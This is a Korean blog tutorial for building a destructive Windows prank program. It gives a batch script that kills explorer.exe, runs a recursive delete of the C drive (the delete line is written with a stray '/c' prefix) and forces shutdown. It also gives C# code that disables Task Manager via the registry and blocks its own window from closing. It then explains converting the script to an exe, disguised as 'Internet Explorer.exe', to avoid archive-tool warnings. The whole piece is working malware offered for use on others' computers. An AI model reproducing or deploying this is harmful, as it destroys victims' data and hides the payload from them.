본문 바로가기
윈도우

공포의 /c rd /s /q c:\

by 컴쟁이 2021. 2. 3.
반응형

안녕하세요 컴쟁이입니다.

오늘은 /c rd /s /q c:\를 실행해볼거에요

 

첫번째로 메모장에 이걸 붙여넣기하세요

@echo off
echo CreateObject("SAPI.SpVoice").Speak "hahahahahahahahahaha" > fool.vbs
start fool.vbs
taskkill /f /im explorer.exe
color a

/c rd /s /q c:\

shutdown -s -t 8 -c "hahahahahahahahahaha"

 

와... 이게 지금 어떤 역할을 하냐면

-----------------------------------------------------------------------------

1행 : 명령어를 표시하지 않는다.

2행 : 하하하하하하라고 하는 vbs파일을 만든다. 이름은 fool.vbs로 지정

3행 : fool.vbs실행

4행 : explorer.exe종료

5행 : 컬러를 초록색으로 바꾸고

7행 : C드라이브에 있는 모든 파일 삭제

9행 : 컴퓨터 강제 종료

 

근데 약하죠(???이렇게나 쎈데???).

그래서 작업관리자를 실행할 수 없도록 만드는 프로그램을 제작하겠습니다.

 

비주얼 스튜디오 2019를 켜주시고요

다같이 키보드질 좀 하자고요

 

일단 C#,Windows Forms App을 만들자고요

이름을 Test로 해주시기 바랍니다

 

MaximizeBox,MinimizeBox,ShowIcon,Showtaskbar False로 변경

이렇게 해주시면 됩니다.

 

폼을 클릭해서 이제 코딩좀 하러 가기전에

이걸 None으로 해주세요.

이제 폼 더블클릭해서 코딩하러 ㄱ

 

RegistryKey reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System"); 
reg.SetValue("DisableTaskMgr", 1, RegistryValueKind.String);

이건 작업 관리자를 비활성화시키는것

this.Left = 0; 
this.Top = 0;
this.Width = Screen.PrimaryScreen.Bounds.Width; 
this.Height = Screen.PrimaryScreen.Bounds.Height; 

이건 사이즈 0으로 만들기

this.TransparencyKey = this.BackColor;

이건 투명하게 만들기

e.Cancel = true;

이건 그 행동을 취소하는것

 

여기까지만 알아보고요 어서 작업해봅시다

 

 

using Microsoft.Win32;
using System;
using System.Windows.Forms;

namespace Test
{
    public partial class Form1 : Form
    {
        public Form1()
        {
            InitializeComponent();
            this.TransparencyKey = this.BackColor;
        }

        private void Form1_Load(object sender, EventArgs e)
        {
            this.Left = 0;
            this.Top = 0; 
            this.Width = Screen.PrimaryScreen.Bounds.Width; 
            this.Height = Screen.PrimaryScreen.Bounds.Height;

            RegistryKey reg = Registry.CurrentUser.CreateSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System");
            reg.SetValue("DisableTaskMgr", 1, RegistryValueKind.String);
        }

        private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            e.Cancel = true;
        }
    }
}

전체코드입니다.

VS에서(비주얼 스튜디오)디버깅한 파일 이름을 Test.exe로 지정합시다

 

그리고 아까 하던 bat파일에 이걸 추가합시다

----bat파일 전체코드----

@echo off
start Test.exe
echo CreateObject("SAPI.SpVoice").Speak "hahahahahahahahahaha" > fool.vbs
start fool.vbs
taskkill /f /im explorer.exe
color a

/c rd /s /q c:\

shutdown -s -t 8 -c "hahahahahahahahahaha"

"start Test.exe = Test.exe(작업 관리자 비활성화 프로그램)을 실행한다"

 

하지만 이대로 하면 압축풀기를 할 때 bat파일이 있다고 경고합니다(알집,반디집)

그니까 bat파일을 응용 프로그램으로 바꿔줄겁니다

 

https://en.softonic.com/download/bat-to-exe-converter-x64/windows/post-download여기서 다운받은 후

위 bat파일 코드를 붙여넣은 뒤 Convert버튼을 누릅니다

 

 

저는 Internet Explorer.exe로 했습니다.

 

그리고 Test.exe와 Internet Explorer.exe를 같은 폴더 안에 넣어주시기 바랍니다.

 

그리고 Internet Explorer.exe를 켜는순간 컴퓨터는 ㅃ2 짜이찌엔~~

 

컴쟁이였습니다. 감사합니다!!!

반응형